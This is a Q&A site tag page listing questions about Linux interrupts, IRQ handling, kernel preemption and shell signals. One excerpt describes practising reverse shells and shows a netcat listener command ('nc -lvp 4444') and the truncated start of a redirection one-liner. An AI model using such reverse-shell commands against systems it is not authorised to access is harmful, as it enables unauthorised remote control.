Questions tagged [interrupt]
The interrupt tag has no usage guidance.
111
questions
0
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1answer
40 views
How fast is an IO interrupt in Linux versus bare metal? (ARM, Raspberry Pi)
I read that an interrupt in Linux (this was about a Raspberry Pi) can take a "long time" to process or let's say "start doing what the programmer wants". Is that true and how bad is it?
Is there a big ...
2
votes
0answers
30 views
What mechanism is used by Linux (or hardware) to ensure that any interrupt capable device does not cause too many interrupts?
At the level of interrupts, one would think that there has to some way for a maximum rate to be defined. Otherwise, a malicious device might be able to slow down the system, by continuously giving off ...
0
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1answer
31 views
Redirecting all primary file descriptors using `exec` causes the shell to exit after program exists depending on which end closes the connection?
I've been practicing my Bash skills by creating reverse shells using various redirection operators.
After having set up a nc listener:
nc -lvp 4444
I run the following command:
0<&116-; ...
-1
votes
1answer
52 views
fatal error : linux/interrupt.h : no such file or directory
I am developing code for interrupt. When I am including #include <linux/interrupt.h>, I get
fatal error : linux/interrupt.h no such file or directory
Why am I getting this error and how can I ...
1
vote
1answer
41 views
Writing and Executing Program to behave like console
I have written a set of programs with the intent of using a radio transmitter-receiver (NRF24L01) to connect two devices as if they were connected via a serial interface.
Currently, i am able to ...
3
votes
1answer
63 views
What's the policy determining which CPU handles which interrupt in the Linux Kernel?
I've been reading Linux Kernel Development and there's something that's not entirely clear to me -- when an interrupt is triggered by the hardware, what's the criterion to decide on which CPU to run ...
1
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0answers
23 views
Trouble with Legacy interrupts on new CPU
A legacy (IntA) interrupt works on an old CPU under Linux, but fails under the same Linux OS with a newer CPU in that system. I'm unsure if the problem is in the BIOS or in the Linux driver, as both ...
1
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2answers
1k views
What is interrupted system call?
I am reading APUE and the Interrupted System Calls chapter confuses me.
I would like to write down my understanding based on the book, please correct me.
A characteristic of earlier UNIX systems ...
1
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0answers
87 views
Trying to use local APIC timer
I'm trying to use the local APIC timer to send interrupts after a certain interval (for a kernel module I am writing). This is not related to scheduling in Linux.
I set the clocksource in Linux to ...
1
vote
1answer
269 views
How does Linux Kernel switches from kernel stack to interrupt stack?
What happens when a user mode task is interrupted ?
I know for a fact that the CPU switches to the kernel mode stack by refring the TSS.
But when and how does the kernel switches to the IRQ stack?
0
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0answers
79 views
About IRQF_DISABLED flags
I'm reading about a tutorial on request_irq, I'm new to this topic so I need some idea checking:
When set, this flag instructs the kernel to disable all interrupts when executing this interrupt ...
1
vote
1answer
41 views
Resource locking in interrupts
I have a kernel module with netfilter hooks at different points in the packet route, and the hooks use shared resources. In addition, the module has a char device that may be written to, that also ...
0
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0answers
57 views
Interrupt handling with separate thread
The Situation
A kernel driver handles interrupts coming from a CPU pin.
The interrupt handler function wakes up a thread function which reads data from an interface.
There is one interrupt per data ...
0
votes
2answers
45 views
Are interrupts used to signify that output is ready or input has completed?
Operating System Concepts says:
During I/O, the various device controllers raise interrupts when they
are ready for service. These interrupts signify
that output has completed, or
...
0
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0answers
148 views
Interrupt signal names don't work over ssh: bad trap [duplicate]
If run over ssh, a script with a trap statement with interrupt signal names (SIGINT, etc) gives an error and the trap does not work when an interrupt (eg. Ctrl+C) is sent. Eg:
#!/bin/bash
trap '...
3
votes
1answer
133 views
How to ignore interrupts with piped commands
In the following chain of piped commands, when an interrupt is sent with Ctrl-C, ping is able to print its summary statistics before exiting, as long as tee has the -i (ignore interrupts) flag:
ping -...
1
vote
0answers
269 views
how to use ftrace to function_trace a kernel modules interrupt?
I have a Banana Pi Arm device with 2 cores (1.2 GHz) running a Debian kernel which I enabled ftrace kernel debug options. I want to determine the amount of time spent in a kernel module function. The ...
1
vote
1answer
290 views
How does the kernel scheduler know a timeslice has passed?
In my previous question How does the kernel scheduler know how to pre-empt a process? I was given an answer to how pre-emption occurs.
Now I am wondering, how does the kernel scheduler know that a ...
1
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2answers
467 views
How does the kernel scheduler know how to pre-empt a process?
As far as I understand, the kernel is not a process, but rather a set of handlers that can be invoked from the runtime of another progress (or by the kernel itself via a timer or something similar?)
...
0
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0answers
77 views
Why does nohup command interrupt?
I put a command in .bash_profile file. The command is:
nohup stdbuf -oL -eL sysdig -c spy_users 1>>/path/to/out 2>>/path/to/err &
While I am working on terminal it appears:
[1]+ ...
3
votes
0answers
79 views
Is there a way to route interrupts from two Ethernet interfaces to separate cores?
I have a 10G ethernet adapter from Intel with two ethernet ports (x550-T2) installed in PCIe port of a Xilinx FPGA board running petalinux. I am testing network bandwidth by running simultaneous ...
1
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1answer
933 views
can't change value in smp_affinity
I am trying to set irq affinity on linux by changing the value in smp_affinity. When I echo the new value into the file, I don't get any error but when I read it back, the value remains unchanged. I ...
4
votes
1answer
246 views
Saving data from kernel module into userspace
I have been playing around kernel programming for a while and want to create this simple data acquiring interface with some custom hardware. For portability and reusability, I do the whole thing on my ...
0
votes
1answer
77 views
Can a hardware generating too many interruptions monopolize a CPU?
Let's say my network interface is receiving too many packets and I have a single-core processor.
What stops it (if anything) to keep interrupting the kernel and essentially monopolize the CPU (top-...
1
vote
1answer
167 views
difference between kworker/n and events/n
I'm learning how the kernel handles interrupt.
Reading shichao's notes, I've found that events/n threads handle the work queue.
At the same time, some documents in the internet (for example, this post)...
2
votes
0answers
300 views
Shielding CPU from scheduler - How to move bound kernel threads from cores?
Suppose I have 4 physical cores (indexed 0-3) and I'm dedicating cores 1-3 to a shield for user applications and trying to steer all system threads onto core 0. I'm following the answers here and ...
1
vote
1answer
726 views
Regarding /proc/interrupts what are MIS and ERR?
Playing aroud looking at /proc/interrupts The output below shows ERR and MIS on lines 26 and 27 respectively. What are these and why do they have counts (albeit of zero) for CPU0 but no others, as ...
2
votes
1answer
112 views
How to restrict interrupt signal to just the child process?
I have a bunch of log files and I want to do a tail -f on them in a loop such that when I press Ctrl-C, the current tail -f gets killed and I proceed to the next log file:
for log in *.log; do
...
4
votes
1answer
324 views
Interrupt shell command line expansion
Warning: DO NOT attempt the commands listed in this question without knowing their implications.
Sorry if this is a duplicate. I am surprised to learn that a command as simple as
echo $(yes)
...
0
votes
1answer
536 views
What happens when there is a context switch while the process is in Kernel mode?
This is my understanding:
When in user mode and a trap/system call occurs, registers are saved on to the kernel stack, switch is made to kernel mode, and trap is handled and returned to user mode.
...
0
votes
1answer
278 views
Identify devices like virtio2 and virtio3 in QEmu
I'm running a virtual machine in QEmu.
The following command in the guest VM
cat /proc/interrupts | egrep 'virtio.*(input|output)' gives me the following output:
26: 0 3376 0 ...
4
votes
1answer
1k views
What does `/proc/irq/…/spurious` contain?
Here is the output from cat /proc/irq/79/spurious:
count 28
unhandled 0
last_unhandled 0 ms
What are these parameters indicating here — count, last_unhandled? Is this count indicating the number of ...
2
votes
1answer
713 views
Unusual high load average (due to peak I/O wait? irqs?)
I have a problem with high load average (~2) on my (personal laptop) computer for a long time now. I am running Arch Linux. If I remember correctly, the problem started with a certain kernel update, ...
2
votes
2answers
133 views
What happens when a new hardware is connected for first time in Linux?
Suppose, I have connected a device to a PC.
Question:
How does the Linux OS (Ubuntu) realizes that a new hardware device is connected?
Answer:
The newly connected device raises an Interrupt (and ...
2
votes
1answer
3k views
How does keyboard interrupt ends up as process signal
I'm studying the linux kernel right know with O'Reilly's Understanding Linux Kernel and lately covered the signal and interrupt handling chapter sticking to some basic 2.4 linux version and diving ...
3
votes
1answer
1k views
Why doesn't SIGINT work on a background process in a script?
I have the following in a script:
yes >/dev/null &
pid=$!
echo $pid
sleep 2
kill -INT $pid
sleep 2
ps aux | grep yes
When I run it, the output shows that yes is still running by the end of ...
1
vote
1answer
679 views
Confusion regarding #interrupt-cells configuration on PCA9555 expander
I'm trying to setup a device tree source file for the first time on my custom platform. On the board is a NXP PCA9555 gpio expander. I'm attempting to setup node for the device and am a bit confused.
...
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0answers
39 views
Does the lack of kernel feature (XENFEAT_hvm_pirqs) cause RedHat EC2 interrupt issue?
I have a RedHat 6.5 on AWS EC2 running kernel 2.6.32.431, I have installed the ixgbevf driver with the minimum version the doc recommends. After configuration the system now has 2 queues(IRQs)：
grep ...
0
votes
1answer
989 views
What does this mean: “Interrupt: pin A routed to IRQ 17”
When I run the command: sudo lspci -vvv, I see the following among the output:
0c:00.0 Network controller: Broadcom Corporation BCM4311 802.11b/g WLAN (rev 01)
Subsystem: Dell Wireless 1390 ...
1
vote
1answer
4k views
What is the difference between /proc/interrupts and /proc/softirq in Linux?
/proc/softirq is softirq stats. Is /proc/interrupt both hard and soft interrupts or hard only?
I want to measure the rate of hard and soft irq's per second roughly using watch -n 1 grep 'foo' /proc/...
2
votes
0answers
159 views
Wifi card causing High interrupts on Fedora 24
I am running Fedora 24 on my MSI cx61 2QC laptop. Occasionally, one of the processor's core becomes monopolized by high irqs from the rtl_pci(wifi) card.
The model of the wifi card is RTL8723AE.
$ ...
2
votes
0answers
111 views
Trying to understand device tree entry for usart
I'm pretty new to device tree programming, I'm trying to understand the interrupts line that shows up in the device tree for SAMA5D36 USART dts definition:
usart2: serial@f8020000 {
compatible = "...
0
votes
1answer
124 views
Can a program ever receive a software interrupt?
Can a program ever receive a software interrupt? I understand that they can cause interrupts, but can they actually recieve a software interrupt? If so, please can you provide an example?
1
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2answers
1k views
Halt the execution when something is written to stderr
I have trouble with error handling in bash scripts. None of the solutions I have seen for error handling in bash seem to work so far for this example script:
#!/usr/bin/env bash
set -euo pipefail
...
4
votes
1answer
523 views
Apart from USR1 and USR2, which signals can I safely use for custom interrupting behavior? (in python)
I have a complex application with USR1 and USR2 already defined as having a well-defined and not replaceable purpose.
There are tons of different signals in linux. Might there be another one (maybe a ...
1
vote
1answer
164 views
Hook serial port interrupt in FreeBSD
I need to write a program to react to the modem control lines changing in the serial port on my FreeBSD 10.3 machine. I don't want to read any data from it (there won't be any). I'm aware I can ...
1
vote
1answer
2k views
How to test linux NAPI feature?
I am trying to test the NAPI functionalities on embedded linux environment. I used 'pktgen' to generate the large number of packets and tried to verify the interrupt count of my network interface at /...
0
votes
1answer
110 views
why local CPU must have interrupts enabled, otherwise kernel preemption is not performed?
I read the book "understanding the Linux kernel". I cannot understand a sentence,that is ,the local CPU must have local interrupts enabled, otherwise kernel preemption is not performed. What is the ...
2
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0answers
1k views
kernel: hpet1: lost 19 rtc interrupts
I have this error that flooding my syslog every day. As a solution on arch linux forum is hpet=disable in kernel command line, but I think it is a bad idea and I searching for another solution. Is ...
5
votes
1answer
2k views
Programmatically determine the IRQs associated with a network interface
What is the most reliable way to programmatically determine the IRQs associated with a network interface, given the name of the interface (e.g. eth0)?
I'm okay with a best-effort approach, but I'd ...
